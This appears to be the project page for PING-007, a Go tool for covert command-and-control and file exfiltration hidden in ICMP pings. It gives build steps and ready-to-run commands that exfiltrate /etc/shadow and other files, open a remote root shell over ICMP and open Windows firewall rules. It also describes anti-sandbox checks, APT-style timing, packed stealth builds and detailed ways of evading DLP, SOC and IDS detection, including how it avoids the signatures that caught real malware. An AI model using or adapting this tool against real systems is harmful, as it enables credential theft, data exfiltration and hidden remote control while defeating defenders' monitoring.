Covert Communications Framework
007
PING-007 v3.0 · Stealth ICMP C2 & Exfiltration

Embed AES-256-GCM encrypted data inside packets indistinguishable from real OS pings. Multi-packet stealth reassembly, bidirectional C2 shell, APT timing profiles, OS signature mimicry — built for authorized red team operations.

3
Crypto Algorithms
64B
Stealth Packet Size
4
APT Profiles
CAP_NET_RAW
Requirement
Capabilities

What it does

ICMP as a covert channel with military-grade crypto and SOC-grade evasion.

🔐

AES-256-GCM Encryption

Three AEAD algorithms (AES-256-GCM, ChaCha20-Poly1305, XOR-CFB-HMAC) with PBKDF2-SHA256 key derivation. Fixed per-algorithm salts enable deterministic key generation from a shared password — no key exchange needed.

📡

OS Signature Mimicry

Replicates byte patterns of real Linux ping (56-byte sequential) or Windows ping (32-byte alphabetic). Encrypted data is XOR-embedded into the authentic pattern. From the network, it looks like a standard ping.

🖥️

Bidirectional C2 Shell

Interactive shell over ICMP. Operator sends CMD:<id>:<command> packets; agent executes and replies RESP:<id>:<rc>:<stdout>. Entire exchange is encrypted.

📤

File Exfiltration & Reassembly

Chunks any file into encrypted ICMP packets with ±25% size jitter per chunk. When stealth mode is active, each chunk is split across multiple 64-byte pings (indistinguishable from ping -s 56) with a 4-byte hidden fragment header. The listener reassembles all fragments before decryption.

🕐

APT Timing Profiles

Lazarus (5 min–1 hr), APT29 (30 min–2 hr), APT28 (10–30 min), Equation Group (1–3 days). Per-chunk adaptive delay blends long-running exfiltration into legitimate background traffic.

🛡️

Anti-Sandbox Detection

Checks system uptime, process count, and available resources on startup. Aborts before sending a single packet if sandbox indicators are detected. Thresholds configurable via config/ping-007.yml.

Getting started

Quick Start

Requires Go 1.25+ and elevated privileges for raw ICMP sockets.

PlatformRequirementWorkaroundNote
Linux / macOS sudo or CAP_NET_RAW sudo setcap cap_net_raw+ep ./ping-007 OPSEC setcap writes a readable xattr on the binary — defenders scan for it. Use sudo in real ops.
Windows Administrator (elevated terminal) None — no capability system on Windows Inbound ICMP blocked by Windows Defender by default (see below). Loopback testing doesn't work on Windows raw sockets.

Windows — listener setup

On Windows, the host firewall (Windows Defender) blocks inbound ICMP echo by default. The sender works without changes, but the listener won't receive packets until you open it:

PowerShell (Administrator)
# Open inbound ICMP echo on the host firewall (listener side only)
netsh advfirewall firewall add rule name="ICMP Allow" protocol=icmpv4:8,any dir=in action=allow

# Remove after testing
netsh advfirewall firewall delete rule name="ICMP Allow"

On enterprise networks, this is usually not needed — ICMP is almost universally allowed on corporate LANs because network teams rely on it for troubleshooting (ping, traceroute, path MTU discovery). The Windows Defender rule above only applies to the local host firewall, not to network-level policy. This is what makes ICMP a reliable lateral movement channel: the traffic blends with normal infrastructure monitoring.

Build

terminal
$ git clone https://github.com/franckferman/ping-007
$ cd ping-007
$ make build
Build complete: build/ping-007

Send an encrypted message

terminal
# Receiver (start first)
$ sudo ./build/ping-007 listen -o ./loot -p "secret" --timeout 60

# Sender
$ sudo ./build/ping-007 basic -t 192.168.1.100 -d "data" -p "secret"
Packet 1/1 sent (60 bytes)

Without -p — what NOT to do

$ sudo ./build/ping-007 basic -t 192.168.1.100 -d "data" # no -p
Warning: No password - using random keys (non-interoperable)
# Receiver gets encrypted bytes it cannot decrypt → useless
Reference

Commands

basic — send a message

# Encrypted
$ sudo ./build/ping-007 basic -t 192.168.1.100 -p "key" -d "payload"

# Windows signature + human timing (blend in)
$ sudo ./build/ping-007 basic -t 192.168.1.100 -p "key" -d "data" --signature windows --human-timing

# Maximum evasion
$ sudo ./build/ping-007 basic -t 192.168.1.100 -p "key" -d "data" --ultra-stealth

exfil — file exfiltration

# Fast (no APT delays)
$ sudo ./build/ping-007 exfil -t 192.168.1.100 -f /etc/shadow -p "key" --mode fast

# Stealth (APT timing per chunk, default)
$ sudo ./build/ping-007 exfil -t 192.168.1.100 -f dump.zip -p "key" --chunk-size 128

# Plaintext (no encryption)
$ sudo ./build/ping-007 exfil -t 192.168.1.100 -f data.txt --no-encrypt

shell — bidirectional C2

# 1 — Start agent on target
$ sudo ./build/ping-007 listen --method shell -o /tmp/c2 -p "c2pass" --timeout 3600

# 2 — Operator shell (another machine)
$ sudo ./build/ping-007 shell -t <TARGET_IP> -p "c2pass"
ping-007> id
uid=0(root) gid=0(root) groupes=0(root)
ping-007> whoami
root
ping-007> exit

listen — receive & decrypt

$ sudo ./build/ping-007 listen -o ./loot -p "key" --timeout 300
Listening for incoming data...
Received packet from 10.0.0.5 (60 bytes)
Successfully decrypted data (20 bytes)
Saved to: ./loot/received_10.0.0.5_1234567890.bin

apt — APT simulation

$ sudo ./build/ping-007 apt -t 192.168.1.100 -r lazarus --duration 3600 -p "key"

# Profiles: lazarus | apt29 | apt28 | equation

Flag reference

CommandFlagDefaultDescription
global-p / --passwordShared password — required for interoperable crypto
global--no-bannerfalseSuppress JSON logs and startup banner
basic-t / --targetrequiredTarget IP address
basic-d / --dataInline data to transmit
basic--signaturelinuxOS ping pattern: linux, windows, none
basic--delay0Pre-send delay: 2s, 500ms
basic--human-timingfalseRandom 1–5s intervals between packets
basic--ultra-stealthfalseAll evasion techniques combined (timing + size + pattern)
basic--decoy-pings0Send N clean OS-pattern pings before data to blend into traffic
basic--after-pings0Send N clean pings after data to close session naturally
basic--ping-interval1sInterval between pings in a sequence (mirrors real ping)
basic--no-encryptfalseSend plaintext — no encryption, no encoding (raw bytes in ICMP)
basic--encodefalseBase64-encode payload only (lower entropy than AES, no confidentiality)
exfil-f / --filerequiredFile to exfiltrate
exfil--modestealthstealth (5–30s gap), fast (no delay), covert (30–120s gap)
exfil--chunk-size512Base chunk size in bytes (±25% jitter applied per chunk)
exfil--no-encryptfalsePlaintext payload (no crypto)
exfil--signaturelinuxOS signature for TTL mimicry: linux (TTL=64), windows (TTL=128), none
shell--modeinteractiveinteractive (C2 over ICMP) or batch (local execution only)
shell--jitter0Max random delay before each command packet (e.g. 3s); breaks metronomic C2 beacon detection
listen-o / --output./receivedOutput directory for received files
listen--methodicmp_tunnelicmp_tunnel or shell (C2 agent mode)
listen--timeout60Timeout in seconds
listen-q / --quietfalseSuppress per-packet output (for real ops — verbose logging is an OPSEC risk)
apt-r / --profilerequiredlazarus | apt29 | apt28 | equation
apt--duration60Simulation duration in seconds
Protocol

Cryptographic Details

Three AEAD algorithms with deterministic PBKDF2 key derivation. Algorithm auto-detected by receiver from 4-byte wire header.

Algorithm suite

AlgorithmKeyAuthSalt (fixed)Status
AES-256-GCM256-bitAEAD ping007-aes-salt-v1 Active
ChaCha20-Poly1305256-bitAEAD ping007-chacha20-salt-v1 Active
XOR-CFB + HMAC-SHA256256-bitHMAC ping007-xor-salt-v1 Active
ECDH P-256 key exchange TODO

Wire format

4 bytes
Header
algo id + version
12 bytes
Nonce
random per packet
N bytes
Ciphertext
encrypted payload
16 bytes
Auth Tag
GCM / Poly1305

Key derivation

# For each algorithm independently:
key = PBKDF2(SHA-256, password, salt_per_algo, iterations=100_000, keylen=32)

# Same password → same key on both sides → no key exchange needed
# Fixed salt = less secure than random, but enables passwordless setup

The salt is fixed and baked into the binary. Security relies entirely on password strength — a weak password is weak regardless of 100k PBKDF2 iterations. Use at least 20 random characters. Rotate between operations.

Evasion

SOC & DLP Evasion

Implemented techniques only. Nothing here is theoretical.

WHY ENTERPRISE DLP CANNOT SEE THIS

Enterprise DLP solutions (Symantec, Forcepoint, Microsoft Purview) are L7 application proxies targeting HTTP/S, SMTP, FTP and cloud APIs. ICMP is a network-layer diagnostic protocol with no application session — most DLP appliances do not decode ICMP payloads at all.

"Firewalls often permit outbound ICMP by default and only ensure that an Echo Reply matches a recent Echo Request, without inspecting the payload beyond length."
DeepStrike Security Research · confirmed by Palo Alto LIVEcommunity · Vectra AI · JumpSec Labs
DLP LAYER
HTTP/S ✓
SMTP ✓
FTP ✓
ICMP ✗ blind
PACKET ON THE WIRE
64 bytes · TTL 64
type 8 · code 0
payload: timeval+seq
≡ real Linux ping
DATA EXFIL LOOKS LIKE
user doing
ping -c N target
1s intervals
constant 64B packets
CONTENT INSPECTION
AES-256-GCM output
= pure random bytes
no PII regex match
no file signature

vs. other ICMP exfil tools

icmpsh · ptunnel · Hans · icmptunnel · Cobalt Strike ICMP beacon — they all work. None of them try to look like a real ping.

ASPECT icmpsh / ptunnel CS ICMP beacon PING-007
Packet size Arbitrary — 200–1500B Non-standard fixed 64B (Linux) / 40B (Windows) — exact OS
Payload content Raw bytes / plaintext Encrypted blob XOR'd into real OS ping pattern
TTL Kernel default (unset) Uncontrolled setsockopt: 64 (Linux) or 128 (Windows)
ICMP identifier PID or static constant Session-based constant crypto/rand 16-bit per session
Sequence number Starts at 0 Counter from 0 crypto/rand random start
Timing Burst / fixed interval Configurable beacon 1s ± 10% jitter + inter-chunk gap
Fragmentation Oversized single packet or IP frag Single large packet N × 64B echo requests — each looks like real ping
Decoy traffic None None --decoy-pings / --after-pings
Encryption None (icmpsh: plaintext) XOR or AES payload only AES-256-GCM / ChaCha20 / XOR-CFB-HMAC + PBKDF2
Flagged by size rule? Yes — always Yes — always No — identical to ping -s 56

vs. documented APT ICMP tools

Two tools with published technical analysis used ICMP as primary C2. Same premise — ICMP bypasses DLP. Neither asked the next question: "does my packet actually look like a real OS ping?" They stuffed data into the payload field and shipped it. Both were caught for avoidable reasons. PING-007 was built to answer that question correctly.

Sources: Trustwave SpiderLabs (Pingback, 2021) · Unit42 / Palo Alto (PingPull, 2022) · Corelight Zeek detection

Pingback
2021 · unattributed · Windows · ICMP-only C2
ICMP WIRE FORMAT
Type 8 (Echo Request) only
Payload: fixed 788 bytes — C struct
Seq: always {1234, 1235, 1236}
  1234 → command/data present
  1235 → ack (data received)
  1236 → notification (new data)
Encryption: none — plaintext commands
TTL: kernel default (uncontrolled)
HOW IT WAS CAUGHT
Payload = 788B → no OS ping ever sends 788B
   Suricata: itype:8; dsize:788; → 100% catch
Seq ∈ {1234,1235,1236} → Zeek Corelight pkg
   (net byte order: 53764 / 54020 / 54276)
Payload offset 0 = "shell\x00..."
   Suricata content match on plaintext string
PingPull
2022 · GALLIUM / Alloy Taurus (CN, likely state-sponsored) · Windows · ICMP / HTTPS / TCP swappable
ICMP WIRE FORMAT
Type 8 (Echo Request) / Type 0 (Reply)
Payload format:
[8B: 03 41 40 7E 04 37 24 70]
R[seq].[PROJECT_EXE_HOST_HEXIP]\r\n
total=[n]\r\ncurrent=[n]\r\n[b64(AES-CBC(cmd))]
Beacon heartbeat: total=0, current=0
Encryption: AES-256-CBC
TTL: kernel default (uncontrolled)
HOW IT WAS CAUGHT
Non-OS payload: prefix 03 41 40 7E 04 37 24 70
   + ASCII R[n].PROJECT_... visible
AES keys hardcoded in binary:
   P29456789A1234sS (recovered by Unit42)
   dC@133321Ikd!D^i
   → all historical PCAP traffic decryptable
PROJECT_HOST_IP leaks asset fingerprint
   in plaintext in every ICMP packet
ASPECT Pingback PingPull (GALLIUM) PING-007
Packet size 788B fixed — no OS does this Variable, oversized blob 64B (Linux) / 40B (Windows) — exact OS
Payload content Plaintext C struct, "shell\x00..." 8B prefix + ASCII header + b64-AES XOR into OS ping pattern (timeval / abcdefgh...)
TTL Kernel default Kernel default setsockopt: 64 (Linux) / 128 (Windows)
Sequence numbers {1234, 1235, 1236} — always Incremental from 0 crypto/rand start per session
ICMP identifier Not randomized Constant per session crypto/rand 16-bit per session
Encryption None AES-256-CBC, key in binary PBKDF2(100k) → AES-256-GCM / ChaCha20
Key in binary? N/A Yes — recoverable by reversing No — runtime PBKDF2 from password
Asset fingerprint leak None Hostname + exe + IP in every packet Nothing — OS ping pattern only
Minimal catch rule itype:8; dsize:788; content:"PROJECT_"; No static indicator — random size, seq, id, pattern
PING-007 DESIGN RESPONSE TO EACH FAILURE MODE
→ 788B anomaly
Sends exact OS size (64B/40B).
No size-based rule applies.
→ Fixed seq {1234,1235,1236}
crypto/rand start per session.
Looks like mid-stream ping.
→ Hardcoded AES key
PBKDF2 at runtime. Binary
contains zero key material.
→ Plaintext in payload
XOR steganography into real
OS pattern. No regex match.
→ PROJECT_HOST_IP leak
Nothing in payload without key.
Looks like normal ping noise.
→ Default TTL fingerprint
setsockopt(IP_TTL): 64 or 128.
OS fingerprint returns correct.

OS Signature Profiles — Exact Wire Format

--signature linux (default)
Total size: 64 bytes
TTL: 64
Payload: 56 bytes
Structure: [8B timeval LE][48B sequential 0x08,0x09…]
Data zone: XOR'd into bytes [8:54] · 46B max single-pkt
Frag capacity: 42B/pkt (4B frag header embedded)
--signature windows
Total size: 40 bytes
TTL: 128
Payload: 32 bytes
Structure: "abcdefghijklmnopqrstuvwabcdefghi"
Data zone: XOR'd into all 32 bytes · 22B max single-pkt
Frag capacity: 18B/pkt (4B frag header embedded)

OS payload mimicry

Linux: 56-byte, 0x08,0x09,…
Windows: 32-byte, abcdefgh…
Data XOR'd into real pattern
Always 64/40 bytes on the wire

Multi-packet reassembly

Large payloads → N×64-byte pings
4-byte frag header hidden in XOR zone
[0xA7][session][frag_id][total]
Receiver reassembles before decrypt

TTL + identifier spoofing

TTL: 64 (Linux) / 128 (Windows)
ICMP ID: crypto/rand per session
Seq: crypto/rand start
Breaks OS fingerprinting

Human timing simulation

--human-timing / --jitter
Random 1–5s between packets
1s ±10% jitter within frags
Looks like admin doing ping -c N

Session blending

--decoy-pings / --after-pings
Clean OS pings wrap the data
Makes isolated ICMP events disappear
Shell: --jitter breaks beacon timing

Per-session crypto rotation

Algorithm random at session start
AES / ChaCha20 / XOR-CFB-HMAC
First ciphertext byte varies
Breaks cross-session PCAP correlation

APT Timing Profiles

lazarus
Lazarus Group · DPRK
5 min – 1 hr
per chunk
apt29
Cozy Bear · Russia
30 min – 2 hr
per chunk
apt28
Fancy Bear · Russia
10 – 30 min
per chunk
equation
Equation Group
1 – 3 days
per chunk
Build system

Build Targets

Standard
make build
make build-all
Stealth
make build-stealth
make build-ghost
Packed
make build-compressed
make build-armored
OPSEC
make build-no-c2
no shell · exfil+listen intact
# Cross-platform: linux/amd64, linux/arm64, darwin/amd64, darwin/arm64, windows/amd64
$ make build-all

# Strip symbols, -trimpath, PIE binary
$ make build-stealth

# Ghost + UPX compression (smallest stealth binary)
$ make build-armored

# No APT simulation module
$ make build-minimal

# OPSEC variant: no interactive shell (exfil + listen intact) — -tags noc2
$ make build-no-c2
Quality

Test Suite

crypto · 49 tests
AES-256-GCM round-trip
ChaCha20-Poly1305 round-trip
XOR-CFB-HMAC round-trip
Shared-password cross-instance
Wrong-key rejection
AAD context binding
Header-based algo auto-detect
64 KiB payload
NonceManager uniqueness (1 000 nonces)
NonceManager.Reset counter restart
GenerateNonceSize too-small/valid
secureRandomIndex invalid/max-1/bounds
GetActiveAlgorithm consistency
RotateAlgorithm changes/cycles-all/empty-providers-error
Provider.Name() all 3 providers
Provider.KeyRotation() post-rotation round-trip
DecryptWithAlgorithmDetection AES/ChaCha20/XOR + fallback (3-byte garbage) + header-found-decrypt-fails (corrupted ciphertext)
decodeCryptoHeader: too-short / unknown-algo / unsupported-version / valid
algorithmFromType unknown → 0
typeFromAlgorithm unknown → ""
startKeyRotation goroutine no-panic (10ms tick, fires before Close)
startKeyRotation rotation-error path (single-provider → RotateAlgorithm fails → error-log Printf)
EncryptWithContext no-provider error
DecryptWithContext no-provider / too-short / invalid-header errors
AES256Provider nil-GCM guard (Encrypt + Decrypt)
ChaCha20Provider nil-AEAD guard (Encrypt + Decrypt)
CustomXORProvider empty-keys guard (Encrypt + Decrypt)
XOR context-binding round-trip + HMAC mismatch rejection
CryptoEngine.SetPassword provider-error propagation
CryptoEngine.Close provider-error warning path (fmt.Printf)
config · 20 tests
ValidateTarget authorized ranges
ValidateTarget forbidden ranges
Out-of-range IP rejection
Invalid IP rejection
Hostname resolved then rejected (localhost → 127.0.0.1)
Non-resolvable hostname (.invalid TLD → cannot-resolve error)
Malformed CIDR detection
Rotation interval floor (300 s)
Negative uptime rejection
APT timing/size range order
EnsureDirectories: empty / temp-dir / parent-is-file error
GetAPTProfile: found / not-found
GetAPTProfile: all 4 built-in profiles
Load: defaults when no config file
network · 31 tests
PacketBuilder (data/stealth/chunk)
Legitimate payload sizing
FragDataCapacity linux/windows/default
Single-fragment / multi-fragment
Full reassembly 200 B (XOR decode)
Windows frag count + overflow guard
OS signature payload sizes
calculateChecksum: all-zeros / ICMP echo / field-zeroing / odd-length
parseICMPPacket: too-short / fields / payload
buildICMPPacket: structure+checksum / seq-increment
GetMetrics copy semantics
UpdateLatency · UpdateThroughput
CreateStealthChunksWithSignature: linux-3pkt / windows-3pkt / none-1pkt / empty / chunk-size
CreateChunkPacket: headers (chunk_id / total_chunks / checksum)
GetLocalInterface: no-panic
ValidateIP: invalid format / valid IP unreachable (no CAP_NET_RAW)
evasion · 30 tests
Engine init
Sandbox check disabled/enabled
All 4 APT timing profiles
Unknown APT profile error
Adaptive delay disabled / non-negative
Adaptive delay data >1 KiB (log-factor branch)
Adaptive delay burst mode (BurstProbability=1.0)
Adaptive delay pause mode (PauseProbability=1.0)
Service mimicry valid/unknown
Obfuscation disabled/padded/empty/fake-data-injection (rate=1.0)
generateRandomFloat bounds (10k)
applyPadding OOB regression (10k)
injectFakeData: length / empty / sentinel
contains: present / absent / empty-slice / empty-string
checkUptime low-uptime branch (MinUptime=100k days)
checkProcessCount low-count branch (MinProcesses=999999)
DetectSandbox StrictMode (threshold=0.3)
DetectSandbox indicator-append branch (MinUptime=100k days → Indicators populated)
TimingController.CalculateDelay disabled early-return
logger · 33 tests
NONE level → no logs/ dir created
All log levels (Info/Debug/Warn/Err)
JSON and text formats
LogSecurityEvent all severities
LogExfiltrationEvent success/fail
LogShellActivity
LogEvasionActivity / LogCryptoActivity
RotateLog no-op / below-limit / rotation-triggered (creates .1) / new-file-error (unlinked fd + read-only dir)
AuditLogger create / write / close / multi-event
AuditLogger.Close nil-file path
NewAuditLogger dir-is-file error
NewAuditLogger file-create error (read-only dir)
LogAuditEvent marshal error (channel in metadata → early return, no write)
NewWithConfig MkdirAll+OpenFile failure (parent-is-file → l.file=nil, degrades gracefully)
SIEMWriter: New / Write returns len / Close
SIEMWriter.Write done-channel path (closed writer → error)
SIEMWriter.Write buffer-full path (silent drop, default case)
NewWithConfig with SIEM enabled
sendToSIEM elastic branch (sendToElastic)
sendToSIEM default branch (sendToFile)
NewWithConfig warn level
NewWithConfig error level
exfiltration · 31 tests
randInRange bounds (5k samples)
min=max and min>max guards
validateJob: missing ID/target/data
Negative chunk size rejection
Unknown method rejection
All 4 valid methods accepted
createChunks: single/multi/empty
TotalChunks patching
Checksum + StatusPending per chunk
Default chunk size fallback
createChunks with encryption (EncryptEnabled=true)
createChunks encryption error (closed engine)
loadFile: ok / missing / directory / no-perm (chmod 000)
GetJobStats · GetActiveJobs
CancelJob: not-found / removes job
NewExfiltrationMonitor
GetProgress: not-found / zero-default / metadata
orchestrator · 32 tests
extractLinuxPattern round-trip (5 cases)
Too-short / invalid length
extractWindowsPattern round-trip (4 cases)
Too-short / invalid length
extractStealthData: linux-56 / windows-32 / raw passthrough / too-short / empty pattern data (exactly 8 bytes → patternData empty)
calculateEntropy: empty/const/binary-50-50/uniform-256
generateSessionID: format + uniqueness
generateJobID format
isLegitimateLinuxPing: clean / XOR-stealth / wrong-length / high-deviation
analyzeForFrameworkTraffic: 5 cases
getMaxDataSize: windows/linux/default
generateAPTData: format + profile + sequence
SetPassword: nil cryptoEngine error
shell · 24 tests
randJitter: zero/negative max → 0
randJitter bounds (5 000 samples)
NewShellEngine initial state
GetActiveSessions: initially empty
GetSessionStats: initially empty
GetSessionStats: 1 active + 1 inactive session (loop covered)
StartSession: max-sessions limit
StartSession: duplicate ID
getSession: not-found / inactive
getSession expired — no-race (20 goroutines, -race)
CleanupExpiredSessions: removes stale
CleanupExpiredSessions: preserves fresh
CleanupExpiredSessions: inactive-within-timeout kept
GetActiveSessions: active/inactive filter
parseResponse: valid-full / false+nonzero-rc
parseResponse: partial (no stdout/stderr)
parseResponse: invalid format (4 cases)
parseResponse: colon in stdout field
parseResponse: encrypted + nil engine (passthrough)
parseResponse: decryption error (closed CryptoEngine)
parseResponse: encrypted success (payload = decryptedData)
parseResponse: non-integer RC (Sscanf error → ReturnCode -1)
# Full suite — race detector + HTML coverage report
$ make test

# Per-package
$ go test ./internal/crypto/... -v
$ go test ./internal/network/... -v
$ go test ./internal/config/... -v

# No network, no root required — pure unit tests
$ go test ./...
Research

References

All technical claims verified against published security research.

DEEPSTRIKE
What Is ICMP Tunneling?
DLP blind spot · payload inspection limits
PALO ALTO LIVECOMMUNITY
ICMP Covert Channel — payload patterns
Windows abcdefgh… payload confirmed
JUMPSEC LABS
Misusing ICMP for covert file transfers
Chunking · OS signatures · detectability
VECTRA AI
ICMP Tunnel — detection signals
NDR behavioral detection methods
TRISUL ANALYTICS
Detecting ICMP covert channels
Entropy analysis · payload inspection
TRUSTWAVE SPIDERLABS
Pingback — ICMP backdoor malware (2021)
Real-world ICMP C2 in the wild
APNIC BLOG
Detecting data exfiltration attacks
ICMP exfil · detection & prevention
INFINITELOGINS
OS fingerprinting via TTL values
Linux TTL 64 · Windows TTL 128
SPRINGER · ACADEMIC
Covert Channel Detection in ICMP Payload
Peer-reviewed · SVM detection approach